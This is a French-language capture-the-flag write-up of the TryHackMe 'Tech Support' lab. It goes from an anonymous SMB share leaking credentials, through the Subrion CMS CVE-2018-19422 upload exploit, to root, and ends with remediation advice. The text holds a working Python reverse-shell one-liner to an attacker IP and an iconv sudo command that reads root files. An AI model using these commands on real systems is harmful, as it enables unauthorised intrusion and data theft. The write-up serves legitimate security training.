Lab Tech Support : Du Partage SMB Anonyme au Shell Root via Subrion CMS
Pentest d'un serveur Linux hébergeant un site scam en développement : fuite de credentials via un partage SMB anonyme, décodage, exploitation d'un Arbitrary File Upload sur Subrion CMS 4.2.1 (CVE-2018-19422), récupération du mot de passe WordPress depuis wp-config.php, et lecture du flag root via iconv en sudo NOPASSWD.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | TryHackMe |
| Lien | Accéder au Lab |
| Cible | techsupport.thm |
| OS | Ubuntu Linux |
| CVE | CVE-2018-19422 (Subrion CMS Arbitrary File Upload) |
| Difficulté | Facile |
Scénario : Un site d'arnaque en cours de développement a été identifié. L'objectif est de le compromettre entièrement pour démontrer un risque tangible au client avant que les escrocs ne le mettent en production.
Kill chain :
SMB anonyme → partage websvr → enter.txt → creds Subrion encodés
│
▼
Décodage → admin:Scam2021
│
▼
Feroxbuster → /subrion/panel + /wordpress
│
▼
CVE-2018-19422 → upload shell.phar → Web Shell → Reverse Shell www-data
│
▼
wp-config.php → credentials DB → su scamsite
│
▼
sudo -l → iconv NOPASSWD → lecture /root/root.txt → flag root
1. Reconnaissance
rustscan -a techsupport.thm -- -A -sC -sV
Output :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: TECHSUPPORT; OS: Linux
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|_ Message signing enabled but not required
Analyse :
Quatre ports ouverts sur une machine Ubuntu Linux (TTL 62, OpenSSH Ubuntu, Apache Ubuntu). Deux vecteurs principaux à explorer :
| Port | Service | Priorité |
|---|---|---|
| 80 | Apache 2.4.18 | Web, premier vecteur |
| 139/445 | Samba 4.3.11 | SMB, exploration anonyme possible |
| 22 | OpenSSH 7.2p2 | Réservé si credentials trouvés |
Deux observations critiques dans les scripts Nmap :
message_signing: disabled (dangerous, but default) et Message signing enabled but not required : la signature SMB n'est pas obligatoire. Cela ouvre la porte au NTLM Relay si l'occasion se présente.
account_used: guest : Samba accepte les connexions invitées. On commence par là.
2. Enumération SMB
Connexion anonyme
nxc smb techsupport.thm -u '' -p ''
SMB 10.114.156.196 445 TECHSUPPORT [*] Unix - Samba (name:TECHSUPPORT)
(signing:False) (SMBv1:True) (Null Auth:True)
SMB 10.114.156.196 445 TECHSUPPORT [+] \: (Guest)
Null Auth: True confirme que le serveur accepte les sessions sans credentials. On liste les partages :
nxc smb techsupport.thm -u '' -p '' --shares
SMB 10.114.156.196 445 TECHSUPPORT Share Permissions Remark
SMB 10.114.156.196 445 TECHSUPPORT ----- ----------- ------
SMB 10.114.156.196 445 TECHSUPPORT print$ Printer Drivers
SMB 10.114.156.196 445 TECHSUPPORT websvr READ
SMB 10.114.156.196 445 TECHSUPPORT IPC$ READ IPC Service (TechSupport server)
Le partage websvr est accessible en lecture. Son nom suggère des fichiers liés au serveur web. On s'y connecte.
Exploration du partage websvr
smbclient //techsupport.thm/websvr -U ''

cat enter.txt
GOALS
=====
1)Make fake popup and host it online on Digital Ocean server
2)Fix subrion site, /subrion doesn't work, edit from panel
3)Edit wordpress website
IMP
===
Subrion creds
|->admin:7sKvntXdPEJaxazce9PXi24zaFrLiKWCk [cooked with magical formula]
Wordpress creds
|->
Plusieurs informations critiques dans ce fichier :
- Le site héberge deux CMS : Subrion et WordPress
- Les credentials Subrion sont présents mais encodés ("cooked with magical formula")
- Le panel Subrion est accessible via
/subrion/panel(mentionné explicitement)
Décodage des credentials Subrion
La mention "cooked with magical formula" est un indice révélant que les credentials ont été encodées. On teste les encodages courants sur la valeur 7sKvntXdPEJaxazce9PXi24zaFrLiKWCk.
Sur CyberChef avec la recette Magic pour de la détection automatique.

admin : Scam2021
3. Enumération Web
Feroxbuster
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-u http://techsupport.thm -x php html -q -n
Paramètres :
-x php html: tester les extensions PHP et HTML-q: mode silencieux (moins de bruit)-n: désactiver la récursivité
301 GET http://techsupport.thm/test => http://techsupport.thm/test/
301 GET http://techsupport.thm/wordpress => http://techsupport.thm/wordpress/
200 GET http://techsupport.thm/phpinfo.php
Analyse des résultats :
| Répertoire | Signification |
|---|---|
/test | Répertoire de test, potentiellement des fichiers de développement |
/wordpress | Instance WordPress, vecteur secondaire si Subrion échoue |
/phpinfo.php | Fichier de debug exposé, révèle la configuration PHP complète |
Feroxbuster ne trouve pas /subrion directement. Le fichier enter.txt mentionnait /subrion/panel donc on accède directement à cette URL :
http://techsupport.thm/subrion/panel/

Le panel d'administration est accessible. On se connecte avec admin:Scam2021.

La version est visible dans le dashboard : Subrion CMS 4.2.1.
4. Exploitation : CVE-2018-19422 (Arbitrary File Upload)
Référence : Rapid7 Module Documentation
searchsploit subrion 4.2.1
Subrion CMS 4.2.1 - 'Email' Persistant Cross-Site Scripting | php/webapps/47469.txt
Subrion CMS 4.2.1 - 'avatar[path]' XSS | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting | php/webapps/45150.txt
On retient Arbitrary File Upload (49876.py) : c'est le seul vecteur menant directement à une RCE.
Comprendre la vulnérabilité
Le gestionnaire de fichiers de Subrion (/panel/uploads/) applique une liste noire (blacklist) pour bloquer les fichiers PHP exécutables. Les extensions classiques sont bloquées : .php, .phtml, .php5.
Le problème : la blacklist est incomplète. Les extensions .phar et .pht ont été oubliées. Or, Apache est configuré pour interpréter ces extensions comme du PHP. Résultat : uploader un fichier shell.phar contenant du code PHP malveillant et l'appeler via son URL déclenche une exécution de code côté serveur.
Kill chain de l'exploit :
1. Connexion admin au panel Subrion
2. Upload de shell.phar via /panel/uploads/
3. Contournement du filtre (extension non blacklistée)
4. Appel de http://target/subrion/uploads/shell.phar
5. Exécution de commandes avec les droits www-data
Application
On télécharge le script depuis GitHub :
git clone https://github.com/hev0x/CVE-2018-19422-SubrionCMS-RCE
cd CVE-2018-19422-SubrionCMS-RCE
On lance l'exploit :
python3 exploit.py -u http://10.114.156.196/subrion/panel/ -l admin -p Scam2021

Le script dépose automatiquement le fichier .phar et nous fournit un web shell interactif.
5. Du Web Shell au Reverse Shell
Le web shell fourni par l'exploit est fonctionnel mais présente des limitations importantes pour la post-exploitation :
- Non-interactif : impossible de répondre à des invites dynamiques (sudo, su, ssh-keygen)
- Pas de gestion des signaux : un Ctrl+C accidentel coupe notre accès
- Pas d'environnement : pas de complétion Tab, pas d'historique
On passe à un reverse shell Python pour avoir un accès stable.
Listener
nc -lvnp 4444
Payload injecté dans le web shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.236.165",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("bash")'
Connexion reçue :
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.236.165] from (UNKNOWN) [10.114.190.107] 39886
www-data@TechSupport:/var/www/html/subrion/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Stabilisation TTY
[!NOTE] TTY vs PTY : TTY est le terme générique pour un terminal (physique ou virtuel). PTY est un pseudo-terminal entièrement logiciel. Un shell non-TTY ne peut pas gérer les signaux ni les raccourcis clavier correctement. La stabilisation crée un PTY via Python pour obtenir un terminal complet.
# Étape 1 : allocation d'un PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Étape 2 : configuration du terminal local
stty raw -echo; fg
# Étape 3 : stabilisation des variables d'environnement
export TERM=xterm
On a maintenant un shell www-data stable avec complétion Tab et gestion des signaux.
6. Post-Exploitation
Enumération locale
Après stabilisation du shell, nous passons à une reconnaissance de l'arborescence du serveur. Et dans cette reconnaissance nous ouvrons le fichier /etc/passwd.
www-data@TechSupport:/var/www/html/wordpress$ cat /etc/passwd

Nous voyons le répertoire /home/scamsite appartenant à l'utilisateur scamsite
Découverte de credentials
Le fichier enter.txt mentionnait un site WordPress. On fouille dans son répertoire (/var/www/html/wordpress) afin d'y trouver le fichier de configuration.

www-data@TechSupport:/var/www/html/wordpress$ cat wp-config.php

// ** MySQL settings ** //
define( 'DB_NAME', 'wpdb' );
define( 'DB_USER', 'support' );
define( 'DB_PASSWORD', 'ImAScammerLOL!123!' );
define( 'DB_HOST', 'localhost' );
Credentials de base de données : support : ImAScammerLOL!123!
On tente une réutilisation du mote de passe sur le compte scamsite (visible dans /etc/passwd) :

Connexion réussie. La réutilisation de credentials a fonctionné.
7. Escalade de Privilèges : iconv sudo NOPASSWD
Après énumération des privilèges de l'utilisateur, nous nous rendons compte que ce dernier a accès à la commande iconv en tant que root, sans mot de passe.
scamsite@TechSupport:~$ sudo -l
Matching Defaults entries for scamsite on TechSupport:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User scamsite may run the following commands on TechSupport:
(ALL) NOPASSWD: /usr/bin/iconv

Comprendre iconv
iconv (International Character Set Conversion) est un utilitaire système qui convertit l'encodage de fichiers textuels d'un jeu de caractères à un autre.
Usage légitime :
iconv -f ISO-8859-1 -t UTF-8 fichier.txt
Le vecteur d'exploitation (GTFOBins) :
Référence : gtfobins.github.io/gtfobins/iconv
iconv ne restreint pas les fichiers qu'il peut ouvrir. S'il s'exécute avec des droits root, il peut lire n'importe quel fichier du système, peu importe ses permissions. En lui demandant de convertir un fichier vers son propre format (ISO-8859-1 vers ISO-8859-1), le contenu est affiché sans modification. Nous allons donc utiliser cette faille afin d'ouvrir le fichier /root/root.txt
sudo iconv -f 8859_1 -t 8859_1 /root/root.txt
| Option | Rôle |
|---|---|
-f 8859_1 | Format d'entrée : ISO-8859-1 |
-t 8859_1 | Format de sortie : ISO-8859-1 (identique) |
/root/root.txt | Fichier à lire (normalement inaccessible à scamsite) |
En demandant la même conversion d'entrée et de sortie, iconv se contente de lire le fichier et d'afficher son contenu brut sans aucune transformation.
8. Flag Root
sudo iconv -f 8859_1 -t 8859_1 /root/root.txt

9. Conclusion et Remédiation
Kill Chain Complète
1. Rustscan → SSH + Apache + Samba sur Ubuntu Linux
2. SMB null session → partage websvr accessible
3. enter.txt → credentials Subrion encodés
4. Décodage CyberChef → admin:Scam2021
5. Feroxbuster → /wordpress découvert, /subrion/panel accessible
6. CVE-2018-19422 → upload shell.phar → web shell www-data
7. Reverse shell → shell stable stabilisé en TTY
8. wp-config.php → DB_PASSWORD récupéré → su scamsite
9. Flag user → /home/scamsite/user.txt
10. sudo iconv → lecture /root/root.txt → flag root
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Partage SMB anonyme | Credentials d'application exposés publiquement | Désactiver les sessions nulles SMB. Ne jamais stocker de credentials dans des partages accessibles |
| Credentials encodés | Encodage n'est pas du chiffrement | Utiliser un gestionnaire de secrets ou des variables d'environnement. Ne jamais stocker de passwords en clair ou encodés dans des fichiers |
| Subrion 4.2.1 | CVE-2018-19422, blacklist d'extensions incomplète | Mettre à jour Subrion. Utiliser une whitelist (autoriser uniquement les extensions connues) plutôt qu'une blacklist |
| phpinfo.php exposé | Révèle la configuration complète du serveur | Supprimer les fichiers de debug en production |
| Réutilisation de credentials | Mot de passe DB = mot de passe système | Un credential par service. Les comptes DB ne doivent jamais correspondre à des comptes système |
| iconv NOPASSWD sudo | Lecture arbitraire de fichiers en root | Supprimer cette règle sudo. Si un outil de conversion est nécessaire, utiliser un wrapper restrictif |
[!NOTE] La leçon principale de ce lab : la chaîne de compromission repose entièrement sur des erreurs de configuration et d'hygiène basiques : un partage public avec des secrets, un encodage confondu avec du chiffrement, une blacklist incomplète, une réutilisation de mot de passe, et un outil système en sudo illimité. Aucune de ces erreurs n'est technique. Ce sont toutes des décisions humaines corrigeables sans effort.
Writeup rédigé par Zcook
